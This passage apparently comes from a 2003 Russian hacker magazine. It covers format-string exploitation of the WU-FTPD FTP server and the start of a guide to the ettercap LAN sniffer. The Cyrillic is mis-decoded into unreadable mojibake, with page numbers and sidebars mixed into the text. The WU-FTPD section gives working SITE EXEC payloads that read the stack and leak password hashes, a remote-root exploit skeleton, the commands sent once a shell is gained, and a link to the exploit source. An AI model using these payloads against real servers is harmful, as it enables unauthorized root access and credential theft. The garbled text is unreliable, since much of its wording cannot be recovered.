ïî buffer over<strong>fl</strong>ow ìîæíî ïðåäñòàâèòü, ÷åãî äîáèâàþòñÿ<br />

ëþäè, èìåÿ äîñòóï ê ñòåêó). Îäíàêî íàñ áîëüøå<br />

èíòåðåñóåò êîíêðåòíûé ñèìâîë ôîðìàòèðîâàíèÿ.<br />

Ýòî %n. Êàê íè ñòðàííî, ïðè îïèñàíèè ñèìâîëîâ<br />

ôîðìàòèðîâàíèÿ îí ïî÷òè íèêîãäà íå óïîìèíàåòñÿ.<br />

À âîò ÷òî ãîâîðèòñÿ î íåì â ìàíàõ:<br />

"×èñëî ñèìâîëîâ, âûâåäåííûõ äî ýòîãî ìîìåíòà,<br />

ñîõðàíÿåòñÿ ïî àäðåñó öåëîãî ÷èñëà, óêàçàííîìó<br />

àðãóìåíòîì-óêàçàòåëåì òèïà int * (èëè variant).<br />

Ïðåîáðàçîâàíèå àðãóìåíòîâ íå ïðîèñõîäèò".<br />

×òî æå ýòî çíà÷èò? À òî, ÷òî äàííûé àðãóìåíò<br />

ïîçâîëÿåò ïðîèçâîäèòü çàïèñü â ïåðåìåííóþ-óêàçàòåëü,<br />

äàæå åñëè îíà èñïîëüçóåòñÿ â ôóíêöèè<br />

äëÿ âûâîäà íà ýêðàí! Ò.å. ìîæíî çàïèñûâàòü äàííûå<br />

ïî àäðåñó, íà êîòîðûé óêàçûâàåò âòîðîé àðãóìåíò.<br />

Êðîìå ýòîãî, îí ïîäñ÷èòûâàåò åùå êàæäûé<br />

ñèìâîë, ïîÿâëÿþùèéñÿ â ñàìîé ñòðîêå ôîðìàòèðîâàíèÿ.<br />

Âîçüìåì ïðîñòåéøèé ïðèìåð:<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

ÏÎÄ WU-FTPD<br />

Ñåãîäíÿ ìû ïðîäîëæèì çíàêîìñòâî ñ ðàçëè÷íûìè óÿçâèìîñòÿìè è ðàññìîòðèì îøèáêó òèïà format string. Format<br />

string ïîÿâèëñÿ íà ñâåò â èþíå 1999 ãîäà, à óæå â èþíå 2000 êîëè÷åñòâî ýêñïëîèòîâ, îñíîâàííûõ íà ýòîé óÿçâèìîñòè,<br />

äîñòèãëî êðèòè÷åñêîé îòìåòêè. Îíè ïðîÿâëÿëèñü êàê â ìàëåíüêèõ óòèëèòàõ, òàê è â îãðîìíûõ ñåðâåðíûõ ïðèëîæåíèÿõ.<br />

 òå÷åíèå ãîäà ïðîèçâîäèòåëè ñîôòà ïûòàëèñü çàêðûâàòü íà ýòî ãëàçà, íî â êîíöå êîíöîâ îïîìíèëèñü. Êàê<br />

òû äîãàäûâàåøüñÿ, áîëüøèíñòâî îøèáîê â ïðîãðàììíîì îáåñïå÷åíèè îáúÿñíÿåòñÿ êðèâûì ïðîãðàììèðîâàíèåì<br />

èëè ëåíüþ. Format string íå èñêëþ÷åíèå, êàê ñòàíåò ïîíÿòíî ïðè áîëåå áëèçêîì çíàêîìñòâå. Èòàê, ïîåõàëè.<br />

#include <br />

void main()<br />

{<br />

int a; // öåëàÿ ïåðåìåííàÿ 'a'<br />

char *buff = "1111111111"; // ñèìâîëüíûé áóôåð<br />

'buff' ñ äåñÿòüþ åäèíèöàìè<br />

printf("%s%n\n", buff, &a); // âûâîäèì ñòðîêó<br />

"1111111111",<br />

// êîòîðàÿ ñîäåðæèò 10<br />

ñèìâîëîâ<br />

printf("a = %d\n", a); // âûâîäèì çàïèñàííîå<br />

çíà÷åíèå (÷èñëî ñèìâîëîâ)<br />

// çàïèñàííîå â öåëóþ ïåðåìåííóþ 'a'<br />

}<br />

Îòêîìïèëèì è çàïóñòèì:<br />

# gcc printf_test.c -o printf_test<br />

# ./printf_test<br />

1111111111<br />

a = 10<br />

1 2 3 4<br />

54 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Äà, %n äåéñòâèòåëüíî ïîäñ÷èòûâàåò ñèìâîëû. Íî<br />

åñòü åùå îäèí íþàíñ - ïîäñ÷åò íå âñåãäà áûâàåò<br />

òàêèì òî÷íûì :). Ñðàçó ñêàæó, ÷òî %n ñ÷èòàåò êîëè÷åñòâî<br />

ñèìâîëîâ, êîòîðûå áóäóò âûâåäåíû<br />

ïðåäïîëîæèòåëüíî. Ò.å. åñëè òû, ñêàæåì, ÷åðåç<br />

snprintf îãðàíè÷èøü áóôåð 100 ñèìâîëàìè, à ïîòîì<br />

ïîâòîðèøü ñòðîêè èç ïðåäûäóùåãî ïðèìåðà,<br />

òî ïåðåìåííàÿ 'a' áóäåò ïîêàçûâàòü âìåñòî 10 -<br />

100. Âîò áîëåå äåòàëüíîå îáúÿñíåíèå: ñíà÷àëà %n<br />

ïîäñ÷èòûâàåò êîëè÷åñòâî ñèìâîëîâ, ïîòîì çàïèñûâàåò<br />

ïî àäðåñó, óêàçàííîìó âî âòîðîì àðãóìåíòå,<br />

è òîëüêî ïîòîì ñòðîêà óìåíüøàåòñÿ ïðè êîïèðîâàíèè<br />

â áóôåð. Ò.å. ñíà÷àëà ñòðîêà ðàñøèðÿåòñÿ,<br />

ïîòîì ñ÷èòûâàåòñÿ, à çàòåì óìåíüøàåòñÿ ;).<br />

Òåïåðü âêðàòöå î òîì, ÷òî ìû èìååì îòíîñèòåëüíî<br />

%n 'ôîðìàòåðà':<br />

1. âîçìîæíîñòü çàïèñè äàííûõ ïî àäðåñó, íà êîòîðûé<br />

óêàçûâàåò âòîðîé àðãóìåíò.<br />

2. a) ïîäñ÷åò ñèìâîëîâ â ñòðîêå ôîðìàòèðîâàíèÿ.<br />

b) ïîäñ÷åò ñèìâîëîâ â ñòðîêå ñ ó÷åòîì ïðåäïîëîæèòåëüíîãî<br />

ðàçìåðà ñòðîêè ôîðìàòèðîâàíèÿ.<br />

Âîò, ñîáñòâåííî, òå íþàíñû, êîòîðûå íåîáõîäèìî<br />

çíàòü îòíîñèòåëüíî %n - ñèìâîëà ôîðìàòèðîâàíèÿ.<br />

Îñòàëîñü ïîíÿòü âçàèìîäåéñòâèå ñòåêà è<br />

printf, ïðåæäå ÷åì ðàçîáðàòü íàïèñàíèå ýêñïëîèòà.<br />

Îáúÿñíþ, äëÿ ÷åãî ÿ áóäó ðàññìàòðèâàòü âçàèìîäåéñòâèå<br />

ôóíêöèè è ñòåêà. Íàì íóæíà âîçìîæíîñòü<br />

äâèãàòüñÿ ïî ñòåêó â ïîèñêàõ èíôîðìàöèè, òàêîé êàê<br />

àäðåñà âîçâðàòîâ ôóíêöèé (íàäåþñü, èç ïðåäûäóùèõ<br />

ñòàòåé òû ïîìíèøü, ÷òî òàêîå àäðåñ âîçâðàòà).<br />

È âîò ÷òî ïîëó÷àåòñÿ: òû ìîæåøü çàïèñûâàòü äàííûå<br />

êàê âòîðîé àðãóìåíò ïî àäðåñó (ò.å. â ñòåê),<br />

ïîëçàòü ïî ñàìîìó ñòåêó è íàõîäèòü àäðåñà âîçâðàòîâ,<br />

ïåðåçàïèñûâàåìûå àäðåñàìè íàøèõ øåëëêîäîâ<br />

(îïÿòü æå, ÷èòàé ïðåäûäóùèå ñòàòüè ïðî ïåðåïîëíåíèÿ<br />

áóôåðà).  èòîãå ïîëó÷àåøü: øåëëû, ðóòû è<br />

÷ðóòû. À òåïåðü ðàññìîòðèì ïðèìåð:<br />

#include <br />

int main(int argc, char **argv) // áåðåì äàííûå ñ<br />

êîìàíäíîé ñòðîêè<br />

{<br />

int i = 1; // öåëàÿ ïåðåìåííàÿ i = 1<br />

Ñòåê ïðè âûïîëíåíèè snprintf() ôóíêöèè<br />

char buffer[64]; // ñèìâîëüíûé áóôåð â<br />

64 áàéòà<br />

char tmp[] = "\x01\x02\x03"; // ñèìâîëüíûé áóôåð<br />

ñ 3 áàéòàìè<br />

snprintf(buffer, sizeof buffer, argv[1]); // îãðàíè÷èâàåì<br />

áóôåð 64 áàéòàìè<br />

buffer[sizeof (buffer) - 1] = 0;<br />

//ïå÷àòü ðàçìåðà áóôåðà<br />

printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));<br />

//ïå÷àòü ïåðåìåííîé i.<br />

printf ("i = %d (%p)\n", i, &i);<br />

}<br />

Ïîêà ÷òî íå ïûòàåìñÿ ïåðåïîëíèòü áóôåð èëè ïåðåçàïèñàòü<br />

êàêèå-òî äàííûå â ñòåêå, à ïðîñòî êîïèðóåì<br />

àðãóìåíò â ñèìâîëüíûé ìàññèâ buffer. Íà<br />

îñíîâå ýòîé ïðîãðàììêè ëåãêî ïîíÿòü, ÷òî ïðîèñõîäèò<br />

â ñòåêå ïðè èñïîëüçîâàíèè snprintf() ôóíêöèè.<br />

Îòêîìïèëèì åãî è çàïóñòèì:<br />

# gcc test_stack.c -o test_stack<br />

# ./test_stack haha<br />

buffer : [haha] (4)<br />

i = 1 (bffff674)<br />

Ðàáîòàåò, êàê è çàïëàíèðîâàíî. Íà ðèñóíêå ïîêàçàíî,<br />

÷òî æå ïðîèñõîäèò ñî ñòåêîì ïðè âûçîâå<br />

sprintf(). (ðèñóíîê 1)<br />

ß íå áóäó ìó÷èòü òåáÿ îáúÿñíåíèÿìè, à ñðàçó ñêàæó<br />

ðåçóëüòàò. Èñïîëüçóÿ ñèìâîëû ôîðìàòèðîâàíèÿ<br />

êàê àðãóìåíòû â êîìàíäíîé ñòðîêå, òû ìîæåøü<br />

÷èòàòü äàííûå èç ñòåêà :). Çà áîëåå äåòàëüíîé<br />

èíôîðìàöèåé ëó÷øå âñåãî îáðàòèòüñÿ ê ñîîòâåòñòâóþùèì<br />

ññûëêàì âíèçó (â áëîê-âðåçêå). Ò.å.<br />

òû ìîæåøü èñêàòü âàæíóþ èíôîðìàöèþ, òàêóþ êàê<br />

àäðåñ âîçâðàòà ôóíêöèè (íà ñàìîì äåëå ìîæíî<br />

èñêàòü è äðóãîå, íî îá ýòîì â äðóãîé ðàç).<br />

WU-FTPD<br />

Ýòîò ftp äåìîí, íàïèñàííûé â âàøèíãòîíñêîì<br />

óíèâåðñèòåòå (Washington University's<br />

ftp server = wu-ftpd), èìååò ðàñøèðåííûå<br />

Ðèñóíîê 1<br />

6 7 8<br />

Þíèêñîèä X-Ñòèëü Êîäèíã


kas1e<br />

Âçëîì<br />

ÝÊÑÏËÎÈÒ ÏÎÄ WU-FTPD<br />

âîçìîæíîñòè ïî ñðàâíåíèþ ñ îáû÷íûì ftpd. Âèäèìî<br />

â ðåçóëüòàòå òàêèõ ðàñøèðåíèé îí è ïðèîáðåë<br />

ñëàâó îäíîãî èç ñàìûõ ãëþ÷íûõ äåìîíîâ.<br />

Óÿçâèìîñòü, êîòîðàÿ áóäåò îïèñàíà äàëåå, ñâÿçàíà<br />

ñ íåêà÷åñòâåííîé îáðàáîòêîé êîìàíäû SITE EXEC.<br />

Ïðîáëåìíûé ó÷àñòîê êîäà íàõîäèòñÿ â ftpd.c ôàéëå,<br />

â ôóíêöèè vreply(). Âîò êàê îí âûãëÿäèò:<br />

void vreply([...], *fmt, [...]);<br />

{<br />

char buf[BUFSIG];<br />

[...]<br />

snprintf(buf, sizeof(buf), fmt);<br />

[...]<br />

Êàê âèäèøü, â ôóíêöèþ snprintf ïåðåäàåòñÿ óêàçàòåëü<br />

(fmt) íà ñòðîêó, ïåðåäàþùóþñÿ ïîëüçîâàòåëåì<br />

(ñòðîêó ïåðåñûëàåò ïîëüçîâàòåëü ÷åðåç êîìàíäó<br />

site exec, ýòî ðàñïîëîæåíî â site_exec()<br />

ôóíêöèè ôàéëà ftpcmd.c). È ÷òî çäåñü? À çäåñü<br />

ïîëüçîâàòåëü ìîæåò ïîñëàòü âìåñòå ñ site exec<br />

íóæíûå ñèìâîëû ôîðìàòèðîâàíèÿ, êîòîðûå ñîîòâåòñòâóþùèì<br />

îáðàçîì èíòåðïðåòèðóþòñÿ, è ðåçóëüòàòîì<br />

ýòèõ äåéñòâèé áóäåò ïîëó÷åíèå ðóòøåëëà.<br />

Ê ïðèìåðó, åñëè çëîäåé ñäåëàåò òàêîå: SITE<br />

EXEC %x %x %x %x, òî ïîëó÷èò èç ñòåêà wu-ftpd -<br />

"31 bffff53c 1ee 6d". Âñå äîâîëüíî ïðîñòî. Ïåðåäàåì<br />

îïðåäåëåííûå ñèìâîëû ôîðìàòèðîâàíèÿ è<br />

ìîæåì äåëàòü ÷òî õîòèì ;).<br />

Íî çäåñü åñòü îäíà òðàáëà. Èç-çà òîãî, ÷òî â ñòåê<br />

çàïèñûâàåòñÿ òîëüêî óêàçàòåëü íà ïåðåäàâàåìóþ<br />

ñòðîêó, êîòîðàÿ â ñâîþ î÷åðåäü ðàñïîëàãàåòñÿ â<br />

ñåãìåíòå äàííûõ, òû íå ìîæåøü íàïðÿìóþ çàïèñàòü<br />

â ñòåê óêàçàòåëü íà ýòó ñòðîêó, òàê íàì íåîáõîäèìóþ.<br />

Ïðîáëåìà ðåøàåòñÿ ïðîñòî: âñå òå æå<br />

ñèìâîëû ôîðìàòèðîâàíèÿ. Ïðåæäå ÷åì ðàññìîòðåòü<br />

ñòðóêòóðó íàïèñàíèÿ ïîëíîöåííîãî ýêñïëîèòà,<br />

îáðàòèìñÿ ê áîëåå ïðîñòîìó ïðèìåðó ïîëó÷åíèÿ<br />

õýøà ïàðîëÿ:<br />

SITE EXEC AA@e[][]%277$s îòâåò<br />

200 (end of 'aa@e[][]%277$s')<br />

SITE EXEC AApj[][]%277$s îòâåò<br />

Âîò ÷òî ïðîèñõîäèò. Ìû çàëîãèíèëèñü ïîä ïîëüçîâàòåëåì<br />

'user', ïåðåäàëè ÷åðåç site exec îïðåäåëåííóþ<br />

ñòðîêó ôîðìàòà è ïîëó÷èëè õýø ñâîåãî<br />

ïàðîëÿ. Åäèíñòâåííîå, ÷òî çäåñü ìîæåò áûòü íåÿñíî,<br />

ýòî ñèíòàêñèñ ñòðîêè ôîðìàòèðîâàíèÿ. Äàâàé<br />

ðàññìîòðèì åãî:<br />

Ïåðâûå äâà ñèìâîëà "AA" íåîáõîäèìû, ïîñêîëüêó<br />

ñìåùåíèå íå êðàòíî 4 (à îíî äîëæíî áûòü êðàòíî).<br />

Äàëåå ó íàñ â ïåðâîì ñëó÷àå @å [][], à âî<br />

âòîðîì pj[][] - ýòî ñîîòâåòñòâóþùèå ñèìâîëüíûå<br />

ïðåäñòàâëåíèÿ äëÿ óêàçàòåëåé 0x08086a70 è<br />

0x08086540 íà ïîëÿ pw_name è pw_passwd â<br />

ñòðóêòóðå passwd wu-ftpd (struct passwd *pw). Ò.å.<br />

ýòî çàðàíåå èçâåñòíûå çíà÷åíèÿ. È çàêàí÷èâàåòñÿ<br />

âñå %277$s. Ýòî íåïîñðåäñòâåííî ñàì ôîðìàòíûé<br />

ìîäèôèêàòîð.<br />

WU-FTPD REMOTE ROOT EXPLOIT<br />

Âîò ÷òî íåîáõîäèìî äëÿ íàïèñàíèÿ ïîëíîöåííîãî<br />

ýêñïëîèòà:<br />

1. Øåëëêîä (î òîì, êàê ïèøåòñÿ øåëëêîä, ÷èòàé â<br />

ïðåäûäóùèõ íîìåðàõ). Ïðîùå ðàáîòàòü ñðàçó ñ<br />

øåëëêîäîì, ïåðåâåäåííûì â 'format string' âèä.<br />

2. Àäðåñ íà ýòîò øåëëêîä, êîòîðûé òàêæå ïåðåâåäåí<br />

â 'format string'.<br />

3. Íåïîñðåäñòâåííî ìîäèôèêàòîðû. Èì ìû ñêàæåì:<br />

"Âîò ýòîò øåëëêîä çàïèñàòü ïî òàêîìó-òî àäðåñó".<br />

Êîíå÷íî, â ïîëíîöåííûõ ýêñïëîèòàõ âñå ýòî äåëàåòñÿ<br />

àâòîìàòè÷åñêè. Äîáàâëÿþòñÿ âñÿêèå êëþ÷è,<br />

âûâîä ãðèòñîâ/ëèòñîâ è òîìó ïîäîáíîå. Íàïðèìåð,<br />

â ñëó÷àå ñ remote root, ññûëêà íà êîòîðûé<br />

åñòü â áëîê-âðåçêå, ýêñïëîèò äåëàåò ñëåäóþùåå:<br />

1. Îáðàáîòêà ââåäåííîãî õîñòà.<br />

2. Îáðàáîòêà user/pass (àâòîìàòè÷åñêè ëîãèíèòñÿ<br />

íà ýòîò õîñò).<br />

3. Îáðàáîòêà îïåðàöèîííîé ñèñòåìû (êàêîé øåëëêîä<br />

è ïîä êàêóþ ñèñòåìó èñïîëüçîâàòü). Åñòåñòâåííî,<br />

â ýêñïëîèòå ïîä êàæäóþ ñèñòåìó äîëæåí áûòü è<br />

ñâîé øåëëêîä.  íàøåì ñëó÷àå ýòî 3 øåëëêîäà:<br />

char bsdcode[] = /* chroot() code rewritten for<br />

FreeBSD by venglin */<br />

char bsd_code_d[]= /* you should call it directly (no<br />

jump/call)*/<br />

char linuxcode[]= /* chroot() code */<br />

4. Îáðàáîòêà ñìåùåíèÿ íà àäðåñ âîçâðàòà.<br />

5. Îáðàáîòêà âûðàâíèâàíèÿ.<br />

6. Îáðàáîòêà âõîäà â äèðåêòîðèþ.<br />

7. Îáðàáîòêà íàøåé 'ìàãè÷åñêîé' ñòðîêè, êîòîðóþ<br />

ìû áóäåì ââîäèòü âìåñòå ñ SITE EXEC.<br />

8. Ñàìà ïîñûëêà ñòðîêè è èíòåðïðåòàöèÿ îòâåòà.<br />

ÐÀÇÁÎÐ ÑÎÐÑÎÂ<br />

Âåñü êîä ýêñïëîèòà çäåñü ðàçîáðàòü íåâîçìîæíî,<br />

ÿ ïîêàæó òîëüêî ñòðóêòóðó, ÷òîáû òû ïîíÿë, êàê<br />

îíè ïèøóòñÿ. 'xxxx' - ñèìâîëû îáîçíà÷åíèÿ âîçìîæíûõ<br />

âàðèàíòîâ.<br />

1. Ïîäêëþ÷àåøü ðàçëè÷íûå çàãîëîâî÷íûå ôàéëû,<br />

äàåøü îïðåäåëåíèÿ, îïèñûâàåøü ïåðåìåííûå, ñîçäàåøü<br />

ñòðóêòóðû:<br />

#include <br />

#define xxxxx "xxxx"<br />

char xxx, int xxx, <strong>fl</strong>oat xxx<br />

Ññûëêè:<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

http://packetstormsecurity.org/0006-exploits/wuftpd2600.c -<br />

ñàì ýêñïëîèò.<br />

http://www.hert.org/papers/format.html -<br />

äåòàëüíîå îïèñàíèå format string óÿçâèìîñòè.<br />

struct xxxx[]={xxxxx};<br />

2. Ïèøåøü íåîáõîäèìîå êîëè÷åñòâî øåëëêîäîâ.<br />

Äëÿ íàøåé çàäà÷è õâàòèò è îäíîãî:<br />

char shellcode[]="\xXX\xXX\xXX";<br />

3. Ñîçäàåøü ôóíêöèè, êîòîðûìè òû âîñïîëüçóåøüñÿ<br />

â ãëàâíîì ìîäóëå (ôóíêöèÿ main()). Ýòî<br />

ôóíêöèè îáðàáîòêè àðãóìåíòîâ ýêñïëîèòà è ëþáàÿ<br />

äðóãàÿ àâòîìàòèçàöèÿ:<br />

void xxxx() {xxxxx};<br />

void xxxx(xxxxx) {xxxxx};<br />

4. Ñàìûé ãëàâíûé ìîäóëü - main(). Â íåì èñïîëüçóåì<br />

âñå ñîçäàííûå òîáîé ôóíêöèè. Òàêæå çäåñü<br />

ïèøåòñÿ îñíîâíîå òåëî ýêñïëîèòà.<br />

a) ×åêàåøü àðãóìåíòû ïðè çàïóñêå:<br />

case 'àðãóìåíò 1': testmode=1; break;<br />

case 'àðãóìåíò 2': offset=atoi(optarg);break;<br />

case 'àðãóìåíò 3': pass_addr=strtoul(optarg,<br />

&optarg,16); break;<br />

è ò.ä.<br />

b) Ñîåäèíÿåøüñÿ ñ öåëüþ (âûçîâ ãîòîâîé ôóíêöèè).<br />

c) Ëîãèíèøüñÿ íà ftp è çàõîäèøü â ñâîþ äèðåêòîðèþ<br />

(òàêæå ãîòîâàÿ ôóíêöèÿ).<br />

d) Ïîñûëàåøü ñâîþ ñóïåðìîùíóþ ñòðî÷êó: SITE<br />

EXEC + àäðåñ, ïî êîòîðîìó ðàñïîëîæåí øåëëêîä,<br />

è ñàì øåëëêîä. Âñå ýòî â 'format string' âèäå.<br />

e) Ïîñëå ïîñûëêè ñâîåé ñòðîêè íåîáõîäèìî ïðîïàðñèòü<br />

ïîëó÷åííûé ðåçóëüòàò.  äàííîì ýêñïëîèòå<br />

òû äåëàåøü 'uname' è â ñëó÷àå óñïåøíîãî âûïîëíåíèÿ<br />

- 'id'. Âîò êàê ýòî âûãëÿäèò:<br />

char buff[1024], *cmd=getit.islinux?"/bin/uname -a;<br />

/usr/bin/id;<br />

exit\n" :<br />

"/usr/bin/uname -a;<br />

/usr/bin/id;<br />

exit\n";<br />

È ïîñëå âñåãî ýòîãî ïîñûëàåøü:<br />

send(sock, cmd, strlen(cmd), 0);<br />

f) Åñëè â ðåçóëüòàòå âñåõ ýòèõ äåéñòâèé òû ïîëó-<br />

÷èë øåëë – àëëèëóéÿ! Åñëè íåò – íå ðàññòðàèâàéñÿ,<br />

ïåðå÷èòàé ìàòåðèàë è ïîïðîáóé åùå ðàç. Ñàì<br />

óðë ýêñïëîèòà äàí â áëîê-âðåçêå.<br />

ÇÀÊËÞ×ÅÍÈÅ<br />

Íàäåþñü, ýòà ñòàòüÿ ïîìîæåò íà÷èíàþùèì. Êîíå÷íî,<br />

â íåé åñòü íåñêîëüêî íåïðîñòûõ ìîìåíòîâ,<br />

íî äëÿ ýòîãî è ñóùåñòâóþò äîêè. Òàê ÷òî äåðçàé,<br />

ïðîáóé è ÷èòàé äîêè, îíè – ðóëåç.<br />

1 2 3 4<br />

56 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Âçëîì<br />

ETTERCAP: ÇËÎÁÎÄÐÎÌ Â ÒÂÎÅÉ ËÎÊÀËÊÅ<br />

CoDeR (coder@zzae.biz)icq: 416116<br />

ÇËÎÁÎÄÐÎÌ<br />

ETTERCAP:<br />

 ÒÂÎÅÉ ËÎÊÀËÊÅ<br />

ÑÍÈÔÀÅÌ ËÎÊÀËÊÓ ETTERCAP'ÎÌ<br />

Òû êîãäà-íèáóäü ìå÷òàë î ïîëíîì êîíòðîëå íàä ëîêàëüíîé ñåòüþ? Ïðåäñòàâëÿë, ÷òî ìîæåøü äåëàòü â íåé âñå ÷òî óãîäíî?<br />

Äóìàåøü, ýòî íåðåàëüíî, äëÿ ýòîãî íàäî áûòü àäìèíîì ñåòè? ÍÅÒ! À ïî÷åìó? Íà ýòîò âîïðîñ ÿ è ïîñòàðàþñü îòâåòèòü.<br />

Íàâåðíÿêà òû óæå ñëûøàë î ìîùíåéøåì<br />

õàêåðñêîì ñðåäñòâå ïîä íàçâàíèåì ettercap.<br />

Åãî ýâîëþöèÿ ãîðàçäî áûñòðåå ýâîëþöèè<br />

æèâûõ ñóùåñòâ. Ñ êàæäûì êâàðòàëîì<br />

ïîÿâëÿþòñÿ íîâûå è íîâûå âåðñèè<br />

ýòîé çàìå÷àòåëüíîé ïðîãðàììû. Íà äàííûé<br />

ìîìåíò ïîñëåäíÿÿ âåðñèÿ - 0.6.9. Â<br />

íåé èñïðàâëåíû ðàçëè÷íûå áàãè, äîáàâëåíû<br />

íåêîòîðûå íîâûå âîçìîæíîñòè, íàïðèìåð,<br />

ïîääåðæêà PPTP. Íî äàæå íåçàâèñèìî<br />

îò íîìåðà âåðñèè, ettercap äîñòîèí<br />

íàçûâàòüñÿ îäíèì èç ëó÷øèõ êðÿêåðîâ<br />

ëîêàëüíûõ ñåòåé. Íåëüçÿ ñêàçàòü, ÷òî<br />

ettercap ðåàëèçóåò êàêèå-òî ðåâîëþöèîííûå<br />

òåõíîëîãèè, íî ó íåãî åñòü îäíî ïðèíöèïèàëüíîå<br />

îòëè÷èå, êîòîðîå äåëàåò åãî<br />

óíèêàëüíûì. Îí îáúåäèíÿåò êó÷ó ñðåäñòâ<br />

äëÿ "êîøåðíîãî" õàêà ëîêàëüíûõ ñåòåé â<br />

åäèíîå öåëîå. À îäèí êðóïíûé õàê ëó÷øå<br />

äâóõ ìåëêèõ. Ìîæíî ïðèâåñòè ïðèìåð: ñóùåñòâóåò<br />

ìíîæåñòâî óòèëèò äëÿ ïåðåõâàòà<br />

ñîîáùåíèé, èäóùèõ îò IRC-êëèåíòà ê IRCñåðâåðó<br />

è íàîáîðîò. Íî â ýòèõ ñðåäñòâàõ<br />

íå ðåàëèçîâàíî íèêàêèõ äðóãèõ ôóíêöèé,<br />

ò.å. îíè íå ñìîãóò, íàïðèìåð, ïåðåõâàòèòü<br />

url ñàéòà, íà êîòîðûé çàøåë ïîëüçîâàòåëü.<br />

À ïðåäñòàâü ñåáå òàêóþ ñèòóàöèþ:<br />

èäåò þçåð íà www.microsoft.com, íî âìåñòî<br />

íåîáõîäèìîé èíôîðìàöèè î ìåëêîìÿãêèõ<br />

â îêíå ó íåãî îòêðûâàåòñÿ ñàéò Âàñèñóàëèÿ<br />

Ïóïêèíà, ãäå ðàçìåùåíà âñÿêàÿ<br />

èíôîðìàöèÿ íåïðèëè÷íîãî ñîäåðæàíèÿ.<br />

×òî æ, etthercap ñïîñîáåí è íà ýòî, è íà<br />

ìíîãîå äðóãîå.<br />

ÊÎÌÏÈËßÖÈß<br />

Èòàê, ïðèñòóïèì ê ñàìîìó çàõâàòûâàþùåìó - ê<br />

êîìïèëÿöèè èñõîäíèêîâ :). Ettercap âûïóùåí ïîä<br />

ñëåäóþùèå ïëàòôîðìû: MacOS X, Windows<br />

9x/NT/2000/XP, FreeBSD, OpenBSD è, êîíå÷íî æå,<br />

Linux. Äëÿ ðàáîòû ettercap'ó íå íóæíû êàêèå-òî äîïîëíèòåëüíûå<br />

áèáëèîòåêè âðîäå libpcap èëè libnet<br />

(èñêëþ÷åíèå ñîñòàâëÿåò áèáëèîòåêà WinPCap, åñëè<br />

ýòî win-âåðñèÿ), íî äëÿ ïîëíîöåííîé ðàáîòû<br />

ðåêîìåíäóåòñÿ âêëþ÷èòü ëèáó ncurses (ÿ èñïîëüçîâàë<br />

øåñòîé ncurses) è openssl (ó ìåíÿ äåôîëòíàÿ<br />

äëÿ redhat 7.2).<br />

Ïðîöåññ êîìïèëÿöèè ïðîñò, îñîáåííî ïîä Linux:<br />

./configure --help<br />

âêëþ÷àåì íóæíûå ïàðàìåòðû<br />

./configure<br />

./make help<br />

Äàëåå ñëåäóåì ïðîñòûì èíñòðóêöèÿì, êîìïèëèðóÿ<br />

è óñòàíàâëèâàÿ ñàì ettercap è ïëàãèíû ê íåìó. Â<br />

èòîãå ìû ïîëó÷àåì ncurses-based-ïðîãðàììó ñ<br />

î÷åíü ïðîñòûì èíòåðôåéñîì è øèðîêèì äèàïàçîíîì<br />

âîçìîæíîñòåé.<br />

Òåïåðü äîêóìåíòàöèÿ. Åå íå ñëèøêîì ìíîãî, íî ÿ<br />

íàñòîÿòåëüíî ðåêîìåíäóþ åå ïðî÷åñòü è ëó÷øå öåëèêîì.<br />

Ïî-àíãëèéñêè òû óæå äîëæåí óìåòü ÷èòàòü :).<br />

ÂÎÇÌÎÆÍÎÑÒÈ<br />

Åñëè òû óâàæàþùèé ñåáÿ ñïåö, íå ñïåøè çàïóñêàòü<br />

ïðîãó ñðàçó ïîñëå åå êîìïèëÿöèè. Ñíà÷àëà<br />

ïðî÷òè man ettercap, âñå readme, ðàçáåðèñü ñ êîíôèãîì<br />

(etter.conf) è ôèëüòðàìè (etter.filter è<br />

etter.filter.ssh). Ó÷òè, ÷òî ïî äåôîëòó ïðîãðàììà<br />

âûïîëíÿåò ìíîæåñòâî ëèøíèõ äåéñòâèé (íàïðèìåð,<br />

dns-ðåçîëâèíã íàéäåííûõ àäðåñîâ). Êðîìå<br />

òîãî, àêòèâíûé arpoisoning è íåêîòîðûå äðóãèå<br />

äåéñòâèÿ ìîãóò ñêîìïðîìåòèðîâàòü õàêåðà, èñïîëüçóþùåãî<br />

ettercap.  ïðîãó âñòðîåíà î÷åíü èíòåðåñíàÿ<br />

ôóíêöèÿ - îáíàðóæåíèå ñåáå ïîäîáíûõ.<br />

Âåäü íåêîòîðûå äåéñòâèÿ òðåáóþò àêòèâíîé ðàáîòû<br />

ïðîãðàììû (ò.å. îòïðàâëåíèÿ íåêîòîðûõ êàäðîâ<br />

äàííûõ, êîòîðûå ìîãóò áûòü ïîéìàíû è ïðîäèàã-<br />

ncurses-îêîøêî ïðîãðàììû ettercap<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

íîñòèðîâàíû), îò ýòîãî íèêóäà íå äåòüñÿ, íî ëó÷øå<br />

âñå-òàêè îá ýòîì çíàòü.<br />

ÒÐÈ... ÄÂÀ... ÎÄÈÍ... ÏÓÑÊ!!!<br />

Çàïóñê ïðîãðàììû, åå íà÷àëüíàÿ ðàáîòà çàâèñèò<br />

îò âåðñèè (win-âàðèàíò ñïðîñèò ó òåáÿ íîìåð èíòåðôåéñà),<br />

îò êëþ÷åé, ñ êîòîðûìè ïðîãðàììà áûëà<br />

çàïóùåíà, à òàêæå îò íàñòðîåê â êîíôèãóðàöèîííûõ<br />

ôàéëàõ. ß áóäó ðàññêàçûâàòü î ìàêñèìàëüíî<br />

äåôîëòíîé (ñëåäîâàòåëüíî, î ïðåäåëüíî "íåïðèêðûòîé")<br />

ðàáîòå ïðîãðàììû. Çàïóñêàåì, âûáèðàåì<br />

èíòåðôåéñ, ïðîãðàììà ñêàíèðóåò ñàáíåò<br />

(ïîäñåòü) èíòåðôåéñà (ó ìåíÿ ýòî 192.168.0.246,<br />

ìàñêà ïîäñåòè 255.255.255.0) íà ïðåäìåò âûÿñíåíèÿ<br />

ñîîòâåòñòâèé IPMAC, dns è netbios èìåí<br />

ìàøèí. Îòêðûâàåòñÿ ncurses-îêîøêî ïðèìåðíî òàêîãî<br />

ñîäåðæàíèÿ: (ðèñóíîê 1)<br />

Ýòî ãëàâíîå (íà÷àëüíîå) îêíî ettercap'à, îòêóäà òû<br />

